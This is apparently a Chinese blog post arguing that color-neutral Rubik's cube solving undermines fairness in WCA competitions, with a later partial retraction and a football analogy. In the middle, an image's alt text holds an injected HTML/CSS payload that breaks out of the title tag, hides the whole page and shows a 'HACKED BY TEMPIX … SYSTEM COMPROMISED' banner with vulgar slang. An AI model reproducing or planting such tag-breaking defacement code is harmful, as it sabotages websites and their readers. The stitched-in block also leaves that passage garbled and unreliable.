更新:根据在微博上的讨论,我收回关于六色底影响比赛公平性的观点。感谢@铯版 @樊轶群 @冰菓不是水果 @Lazy_锋 @反叛的撸撸咻专四跑题给跪 @陳丹陽_占星 @阳光丶灿烂了 等朋友参与讨论。
所谓六色底,是指由双色底(又称对色底)发展而来,并由现三阶速拧世界纪录保持者Feliks Zemdegs发扬光大的一种技术。具体来说就是在开始还原魔方前,从六种颜色中选择一个作为底色进行还原。
目前六色底正在全世界范围流行,我个人也曾练习过一段时间,并尝试在几次比赛中使用六色底。接下来我想谈谈六色底的本质,对比赛公平性的影响,以及自己对这种技术的一些看法。
十字的重要性
就目前最流行的CFOP还原法来说,整个还原过程中最重要,也是最不稳定的部分就是十字(Cross)以及和第一组F2L的衔接。其余的三组F2L,以及接下来的OLL、PLL对一个公式量丰富的玩家来说,是相对稳定的部分。
十字的难易程度取决于打乱case,是完全随机的。如果十字步数少,手法顺,对case的扰动少,第一组F2L就容易计算和观察,也容易直接和做十字的流程连贯起来。反之如果十字步数多,对case的扰动多,第一组F2L的计算观察难度就会大大提高。
因此十字的难度会直接影响到第一组F2L的衔接,进而影响本次还原的成绩。
多色底的本质:换打乱
在多色底技术普及之前,魔方玩家一般都只使用一种固定的颜色作为底色(比如我使用蓝色)。同一个打乱case对使用不同底色的玩家来说其实是完全不同的两个case。
对同样的一个case,白底的十字好做,出好成绩的几率就高,蓝底的十字难做,出成绩的几率就低。这也往往表现在比赛中,采用某种底色的选手们在某个case上的成绩普遍提升,而采用其他底色的玩家则发挥平平。
不知是哪位玩家灵机一动,想出了双色底这种技术。比如使用白色底的玩家,通过练习可以很容易掌握黄色底。这样在打乱case对白色底十字不理想时,可以换用黄色底还原,因为黄色底的十字会完全不一样。
这其实在无形中满足了很多玩家的梦想“这个打乱不好,要是能换一个就好了”。虽然WCA比赛规则是不允许选手提出无故换打乱这种要求的,因为这样会对其他选手不公平。
然而,如果你使用多色底技术,在15秒的观察时间里,你可以自己换打乱!
WCA需要修改比赛规则,以维护比赛的公平性
从公平意义上来说,所有选手在同一轮比赛中应该面对同一个打乱case,这样选手的成绩才可以进行比较。
按照目前的WCA比赛规则,打乱公式随机生成,并以“白上绿前”的初始状态进行打乱。表面来说每个选手拿到的是同一个case,但是对使用不同底色的选手来说,其实面对的是不同的打乱,比赛的公平性值得商榷。而允许多色底技术在比赛中使用,会进一步影响比赛的公平性。
在此我建议WCA对比赛规则做出以下改进:
1、选手在比赛前需要申报自己使用的底色。 2、打乱员根据选手申报的底色进行打乱,保证每位选手最终面对的是同一个打乱。 3、裁判则需要监督选手是否按照申报的底色进行还原,否则成绩作废。
我对多色底技术的看法
我相信WCA在最初制订比赛规则时,没有想到会有人使用不同的底色,更没有想到会有人能同时使用多种底色,所以比赛规则出现了一些漏洞。
所谓的多色底技术,其实是利用比赛规则漏洞进行的一种投机行为。而在有选手开始使用双色底后,WCA对这种现象没有任何警惕,以至于愈演愈烈,直至发展到现在的六色底。
诚然多色底是一种很有趣的玩法,自己平时练习娱乐都没有问题。但是在比赛中不应该允许使用多色底,因为它对使用单一底色的玩家不公平。
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)
感谢陈霜的提醒,速拧不是仅有CFOP一种还原方法。我会重新思考这个问题,各位有不同意见欢迎讨论。
本来踢足球么,大家都有射门的惯用脚,你喜欢用左脚(蓝底),我喜欢用右脚(红底)。
后来有个人他拼命练习,左脚也厉害,右脚也厉害。
这样后卫左边防守他,他右脚射,反之亦然。
那你难道要人为去规定他哪只脚射进了算,哪只脚射进了不算来保证公平?
魔方还原到一半,公式量多的选手拥有更多的选择是必然,这是能力的体现。
但射门已经不是足球比赛的起点,而打乱是还原魔方的起点。
非要类比的话,应该是这样:“这里的草皮不适应,咱换个场地在比?”